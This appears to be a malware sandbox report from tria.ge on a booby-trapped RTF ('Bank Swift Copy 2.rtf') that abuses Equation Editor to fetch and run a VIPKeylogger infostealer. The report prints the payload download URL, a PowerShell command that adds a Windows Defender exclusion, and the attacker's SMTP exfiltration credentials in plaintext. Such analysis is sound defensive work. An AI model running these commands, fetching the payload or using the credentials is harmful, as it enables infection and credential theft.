Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

1

Bank Swift Copy 2.rtf

windows7-x64

10

Bank Swift Copy 2.rtf

windows10-2004-x64

1

Analysis

  • max time kernel
    121s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    14/11/2024, 06:58 UTC

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Bank Swift Copy 2.rtf

  • Size

    910KB

  • MD5

    71b37aac269badfe278550c567b76db4

  • SHA1

    a7fb35d35eb23fe3b4358e3c843f5982a161534e

  • SHA256

    b7d62d77cace855288bf6b463f8ad783316594f90dad78d97a7ea85be58b8bc3

  • SHA512

    db5999667758c607c1322dcd2652b350098a03f6bcd81c884efa5005920771a909f644a62979e7b4fd85d569a7374f9b980345bda822e1aa493e4c428d1c2b67

  • SSDEEP

    6144:VwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAGX3vfwukn15uV:I9

Score
10/10
vipkeyloggercollectiondiscoveryexecutionkeyloggerspywarestealer

Malware Config

Extracted

Family

vipkeylogger

Credentials

  • Protocol:     smtp
  • Host:
    mail.jhxkgroup.online
  • Port:
    587
  • Username:
    obilog@jhxkgroup.online
  • Password:
    7213575aceACE@@
  • Email To:
    obi@jhxkgroup.online

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

    stealerkeyloggervipkeylogger
  • Vipkeylogger family
    vipkeylogger
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
    collection
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

    exploit
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 21 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Bank Swift Copy 2.rtf"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1916
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2540
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2516
      • C:\Users\Admin\AppData\Roaming\obigfdsdf.exe
        "C:\Users\Admin\AppData\Roaming\obigfdsdf.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2776
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\obigfdsdf.exe"
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Drops file in System32 directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1008
        • C:\Users\Admin\AppData\Roaming\obigfdsdf.exe
          "C:\Users\Admin\AppData\Roaming\obigfdsdf.exe"
          3⤵
          • Executes dropped EXE
          • Accesses Microsoft Outlook profiles
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • outlook_office_path
          • outlook_win_path
          PID:1216

    Network

    • flag-de
      GET
      http://87.120.84.39/txt/xXdquUOrM1vD3An.exe
      EQNEDT32.EXE
      Remote address:
      87.120.84.39:80
      Request
      GET /txt/xXdquUOrM1vD3An.exe HTTP/1.1
      Accept: */*
      Accept-Encoding: gzip, deflate
      User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
      Host: 87.120.84.39
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Server: nginx/1.26.2
      Date: Thu, 14 Nov 2024 06:58:09 GMT
      Content-Type: application/x-msdos-program
      Content-Length: 801792
      Connection: keep-alive
      Last-Modified: Thu, 14 Nov 2024 00:41:13 GMT
      ETag: "c3c00-626d4b518d8d3"
      Accept-Ranges: bytes
    • flag-us
      DNS
      checkip.dyndns.org
      obigfdsdf.exe
      Remote address:
      8.8.8.8:53
      Request
      checkip.dyndns.org
      IN A
      Response
      checkip.dyndns.org
      IN CNAME
      checkip.dyndns.com
      checkip.dyndns.com
      IN A
      193.122.6.168
      checkip.dyndns.com
      IN A
      132.226.8.169
      checkip.dyndns.com
      IN A
      158.101.44.242
      checkip.dyndns.com
      IN A
      193.122.130.0
      checkip.dyndns.com
      IN A
      132.226.247.73
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:37 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 68f5cd0c0ab37a888ca99b03700c61b1
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:39 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 2a3797b8c568754d78f65538d5192f49
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:45 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: fd3a450b25c21dec130d0433ba65e312
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:48 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 1a18988a8d796ca66c6926e123f79695
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:50 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 0dad97838534f6545a33e876814e9ef5
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:53 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 570d7a3fe6e9dd95b217119370e84364
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:56 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: d24f2288495bbb15acb1c6707e857946
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:58 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 4ce62619b29757e8aedd87d9c3779001
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:59:01 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 631b1a6133b36efe8688e580cc62dd45
    • flag-de
      GET
      http://checkip.dyndns.org/
      obigfdsdf.exe
      Remote address:
      193.122.6.168:80
      Request
      GET / HTTP/1.1
      User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)
      Host: checkip.dyndns.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:59:04 GMT
      Content-Type: text/html
      Content-Length: 106
      Connection: keep-alive
      Cache-Control: no-cache
      Pragma: no-cache
      X-Request-ID: 7ba252dd4695160b3d752b0e087d6912
    • flag-us
      DNS
      reallyfreegeoip.org
      obigfdsdf.exe
      Remote address:
      8.8.8.8:53
      Request
      reallyfreegeoip.org
      IN A
      Response
      reallyfreegeoip.org
      IN A
      104.21.67.152
      reallyfreegeoip.org
      IN A
      172.67.177.134
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Connection: Keep-Alive
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:42 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54976
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9fqZzVXr3Brcy6kj9L4O5iVjOyPqHi%2F7Y15EcIJ3JYFZLoqBn5%2Fi2Hs2Gk%2BXezBlAoDd03Ccw2IyWyXUa%2BoHKIWlTm4LPXThU%2Foezn%2BrrVfAOR485juIfjUgmBBVgQrN9RBBuBpa"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251d58597c9515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=53116&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2865&recv_bytes=374&delivery_rate=70680&cwnd=252&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=155&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:45 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54979
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lUn3C36gQOrHiqfxSVNG4pS7X8VjD8thC4BB2x04VEG2uWuF8l14IYk%2Biq4XYkTrq3APtZFARLvfG%2BLy1ObtbpKgItktfZxT7lFjlvbsrI74CWrQ1uj937FWKIZDVpJRipuMRbW8"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251d6969f79515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=53116&sent=7&recv=8&lost=0&retrans=1&sent_bytes=5371&recv_bytes=475&delivery_rate=70680&cwnd=254&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=2884&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:48 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54982
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=32I%2FbgkonIHeeV4gKqBLV%2FcP4n4SnvBLiLrjXTPJzL4z1FtRt3CZ2MnGkOVj2Zguceo%2Bi2nEEyj6hD2SeQ1%2BdvTPs0%2FbNl4pMwVJnrLEODk7H8XMek4hETMGMj3ZzP6hzIY%2BDkkY"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251d7a7ad89515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=53116&sent=9&recv=10&lost=0&retrans=2&sent_bytes=7845&recv_bytes=576&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=5613&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:50 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54984
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wJDk2rZF%2Bur2cp5APYbfsybkMOf48pfBjwlt37msqkYgohZ8mwxOctRs0BJcjYHlxvgukdEJoyAwXMM3OeAa6DQWnnkyPMYLKdS6jSEaWJcTqVRY5VJ5HOLXvOGMfmMSXhAR3Acz"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251d8b8b069515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=78513&sent=10&recv=12&lost=0&retrans=2&sent_bytes=9098&recv_bytes=677&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=8356&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:53 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54987
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AlyoL0ilp2jnSsGT9nWZHA%2F%2F0ilaOnCdjjY9Q93BFLtVc2rnreGqeLzd1JyYIRShVnjGGRRGdHvyFcAUU3RZHRKwLlHYG%2FtRqkmDram5Uem5S1R5HHoXDDRgOCylvkU0JUo5gBNr"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251d9cbaa29515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=101032&sent=11&recv=14&lost=0&retrans=2&sent_bytes=10335&recv_bytes=778&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=11089&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:56 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54990
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VxQtd3OZpNMuQtPurj4Hj5N5FGxEcBYkdiZi38m8isor6gv%2BLvrq%2FnSuC%2F9416YSGEgGyRCBya0SjgV5DFOeQy30QtkMGGrOYqjYCIqlbw%2BF12%2FVy%2BwE8K3AykJaFkwI3%2FAdCm1G"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251dadca889515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=130184&sent=12&recv=16&lost=0&retrans=2&sent_bytes=11588&recv_bytes=879&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=13836&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:58:59 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54993
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rBEPG%2B7Zb0RRne9xaJYszBHxnet4msDxo0UsciyJIX%2FdxMo%2Fh0pX45insuGe6uAp%2FX36aN3byv6T%2Bis5Y7ZtQ1cleW5a4qO%2FJebslygeCoEc6YXa0PiIK2qEC7yCyZF%2FGlBw0q0X"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251dbef9509515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=130184&sent=14&recv=18&lost=0&retrans=3&sent_bytes=14094&recv_bytes=980&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=16588&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:59:01 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54995
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sscP5t6dZOf%2Btn78ZIQLhDJFOByTqYrFiujylYBt5ixTa5AE43YoQ%2F8qg3kcUGDqTUgPfyVl239J9uyHrHcrFk3NuYeOA6FPYOn9gV9ZOH1%2BHzbbZSxm%2BvoscSXrBbSapC47jzfh"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251dd029469515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=146976&sent=15&recv=20&lost=0&retrans=3&sent_bytes=15347&recv_bytes=1081&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=19320&x=0"
    • flag-us
      GET
      https://reallyfreegeoip.org/xml/181.215.176.83
      obigfdsdf.exe
      Remote address:
      104.21.67.152:443
      Request
      GET /xml/181.215.176.83 HTTP/1.1
      Host: reallyfreegeoip.org
      Response
      HTTP/1.1 200 OK
      Date: Thu, 14 Nov 2024 06:59:04 GMT
      Content-Type: text/xml
      Content-Length: 356
      Connection: keep-alive
      Cache-Control: max-age=31536000
      CF-Cache-Status: HIT
      Age: 54998
      Last-Modified: Wed, 13 Nov 2024 15:42:26 GMT
      Accept-Ranges: bytes
      Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dsEvoT1V8oBl69jyoPhxEq9Sr1QkJnigo4bLSK6uXnPQSE%2Blezd9d0FvrdozitNgDvw4NqctL6FeOBlYClFAegipHkFlUzUKgfw4TFXls3fKZpWX70fqml9y%2Fe8DaQYbW%2F1PCM7z"}],"group":"cf-nel","max_age":604800}
      NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
      Server: cloudflare
      CF-RAY: 8e251de128689515-LHR
      alt-svc: h3=":443"; ma=86400
      server-timing: cfL4;desc="?proto=TCP&rtt=161278&sent=16&recv=22&lost=0&retrans=3&sent_bytes=16600&recv_bytes=1182&delivery_rate=70680&cwnd=256&unsent_bytes=0&cid=d1f6887bbe490ef8&ts=22042&x=0"
    • flag-us
      DNS
      api.telegram.org
      obigfdsdf.exe
      Remote address:
      8.8.8.8:53
      Request
      api.telegram.org
      IN A
      Response
      api.telegram.org
      IN A
      149.154.167.220
    • 87.120.84.39:80
      http://87.120.84.39/txt/xXdquUOrM1vD3An.exe
      http
      EQNEDT32.EXE
      20.6kB
       825.8kB
       403
      594

      HTTP Request

      GET http://87.120.84.39/txt/xXdquUOrM1vD3An.exe

      HTTP Response

      200
    • 193.122.6.168:80
      http://checkip.dyndns.org/
      http
      obigfdsdf.exe
      2.5kB
       5.2kB
       27
      17

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200

      HTTP Request

      GET http://checkip.dyndns.org/

      HTTP Response

      200
    • 104.21.67.152:443
      https://reallyfreegeoip.org/xml/181.215.176.83
      tls, http
      obigfdsdf.exe
      2.2kB
       18.6kB
       24
      18

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200

      HTTP Request

      GET https://reallyfreegeoip.org/xml/181.215.176.83

      HTTP Response

      200
    • 149.154.167.220:443
      api.telegram.org
      tls
      obigfdsdf.exe
      388 B
       219 B
       5
      5
    • 8.8.8.8:53
      checkip.dyndns.org
      dns
      obigfdsdf.exe
      64 B
       176 B
       1
      1

      DNS Request

      checkip.dyndns.org

      DNS Response

      193.122.6.168
      132.226.8.169
      158.101.44.242
      193.122.130.0
      132.226.247.73

    • 8.8.8.8:53
      reallyfreegeoip.org
      dns
      obigfdsdf.exe
      65 B
       97 B
       1
      1

      DNS Request

      reallyfreegeoip.org

      DNS Response

      104.21.67.152
      172.67.177.134

    • 8.8.8.8:53
      api.telegram.org
      dns
      obigfdsdf.exe
      62 B
       78 B
       1
      1

      DNS Request

      api.telegram.org

      DNS Response

      149.154.167.220

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • \Users\Admin\AppData\Roaming\obigfdsdf.exe
      Filesize

      783KB

      MD5

      4f80565082ea4d95d933decf9cd50c61

      SHA1

      2830f9d5f41bbecd2ae105ed0b9a8d49327c8594

      SHA256

      d854f347061d9d7b8a9788ab8633c3f07619e29bd440924507a0147484c217c3

      SHA512

      9dcdae5c7a5b4181ade738884e208508bf317742ca2be0726716aa71236670a50dae2bec947b3fcc12cfc85c756810f18a9f403de4eb428b4a73a4759037f227

      Download Submit

    • memory/1216-29-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1216-21-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1216-23-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1216-25-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1216-27-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1216-34-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1216-32-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1216-30-0x0000000000400000-0x0000000000448000-memory.dmp

      Filesize

      288KB

      Download

    • memory/1916-2-0x000000007100D000-0x0000000071018000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1916-0-0x000000002FC61000-0x000000002FC62000-memory.dmp

      Filesize

      4KB

      Download

    • memory/1916-18-0x000000007100D000-0x0000000071018000-memory.dmp

      Filesize

      44KB

      Download

    • memory/1916-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

      Download

